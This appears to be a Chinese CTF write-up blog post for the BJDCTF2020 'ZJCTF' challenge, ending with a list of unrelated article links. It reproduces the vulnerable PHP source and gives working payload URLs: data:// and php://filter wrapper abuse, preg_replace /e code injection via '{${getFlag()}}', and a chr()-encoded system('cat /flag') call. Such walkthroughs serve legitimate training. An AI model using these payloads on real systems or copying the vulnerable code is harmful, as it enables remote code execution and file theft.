当前位置: 首页 > news >正文

[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞

 

目录

preg_replace的/e模式

为什么要变为 {${phpinfo()}}

另一个方法

版本


<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>

直接看看代码

首先 text file获取参数

判断 text为空 和 读取 text的文件内容 并且要为 I have a dream

这里可以使用data伪协议绕过 让 text识别到 I have a dream
本地测试一下就知道了

通过 data获取 I have a dream 得到该数据 这样 就可以绕过判断

然后文件包含 提示我们 next.php

include很显然就是使用伪协议 我们直接php://来读取

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

 解密

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
访问期间全局保存 idfunction complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
这里很关键foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}
将get的值 作为 re->str类型  function getFlag(){@eval($_GET['cmd']);
}
执行命令

我们看看其中关键的内容

preg_replace的/e模式

这里主要是使用了 prg_replace的危险参数 /e

可执行参数

就可以将第二个参数作为命令执行

所以上面其实 就是匹配

'/(' . $re . ')/ei',    'strtolower("\\1")',就是 eval(strtolower("\\1"))但是 \\1 在正则中存在自己的作用其实就是匹配第一项这里给出例子preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);regex是我们的参数值 即 get的名称  value是传入的参数.*=phpinfo()所以就变为了preg_replace('/(.*)/ei', 'strtolower("\\1")',phpinfo());但是这里是无法执行phpinfo()的

为什么要变为 {${phpinfo()}}

首先我们要知道

$a=hello$$a=world   这里相当于 $hello=world所以echo $a $hello为hello world

我们接着理解一下

${phpinfo()}执行完会变为 ${1} 因为 phpinfo()通过var_dump返回的是1所以strtolower 变为 strtolower({${1}})接着变为 strtolower({null}) 
这里还存在一个问题如果我们输入 ?.*作为 get的名字的话无法执行因为对于get非法参数会自动替换为 _但是我们如果输入 一个大写字母就可以实现 例如 ?.* ---> ?_*?\S* ---> ?\S*使用了其他正则就是 \S 匹配非空

这道题我们需要执行 getFlag

所以我们修改 参数

这里我们需要了解 主要是要让第二个参数 作为命令执行preg_replace(正则,需要执行的命令,原本的值)我们现在需要strtolower("\1")为我们的"原本的值"来作为命令执行而strtolower("\1")要为命令 就需要原本的值是命令而我们需要通过${phpinfo()}直接执行 phpinfo()这里执行完phpinfo() 就会变为strtolower("${phpinfo()}")-->strtolower("${1}")-->null

 这里说太多了 主要就是让第二个参数为 phpinfo即可

我们需要通过 ${}来解析phpinfo() 否则还是无法执行命令

next.php?\S*={${getFlag()}}&cmd=system('cat /flag');

这里flag就出来了

这里主要理解 ${phpinfo()}

我们不在意匹配后的字符串是什么

而是沟通过${}来直接解析phpinfo()

另一个方法

这里既然我们可以通过 第二个参数直接解析那我们直接替换为命令即可

我们直接通过 system("cat /flag"); 看看能不能执行

发现报错了 说明存在过滤

我们直接通过 chr拼接字符即可

?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}system(cat /flag)

执行成功

获得flag

版本

/e模式在php5.5.x版本已经弃用了,但是根据我实验,在5.6.9版本下,虽然会报错,但是还能够使用这个特性

 7.0之后的版本就不能用

[BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此_Sk1y的博客-CSDN博客

http://www.lryc.cn/news/166175.html

相关文章:

  • C++day4
  • 【LeetCode-简单题】541. 反转字符串 II
  • Linux服务使用宝塔面板搭建网站,并发布公网访问
  • 代码随想录算法训练营19期第48天
  • 【校招VIP】产品项目分析之竞品分析
  • 【JavaScript内置对象】Date对象,从零开始
  • idea启动缓慢解决办法
  • App测试中ios和Android有哪些区别呢?
  • Flink JobManager的高可用配置
  • 为什么Token手动添加到请求的Header中,通常使用“Authorization“字段?
  • 国际生态数据获取网络
  • 爬虫逆向实战(34)-某视综数据(MD5、AES)
  • 数据分析三剑客之Matplotlib
  • Python Opencv实践 - LBP特征提取
  • Docker 搭建Redis Cluster 集群
  • 解决谷歌浏览器会http网站自动变成https的问题
  • go小知识2
  • zabbix监控H3C设备
  • 国产化改造之Mysql迁移方案:Mysql Galera Cluster
  • bootstrap表单类型
  • 第一章 SQL Server 数据库部署
  • 赛事个人团体报名分组成绩查询证书h5小程序开源版开发
  • 【大数据环境配置】01-安装VMware虚拟机
  • 什么是C语言中的命名空间?
  • Java语言特点 8种基本数据类型 标识符等练习题 插入/希尔/选择/堆/冒泡/快速/归并/计数排序
  • 建站系列(七)--- 常用前后端框架
  • Jmx协议远程连接java服务器
  • consul 概念 键值对操作命令
  • R拒绝访问的解决方案
  • SeaArt.ai: 海艺AI绘画艺术图片模型创作平台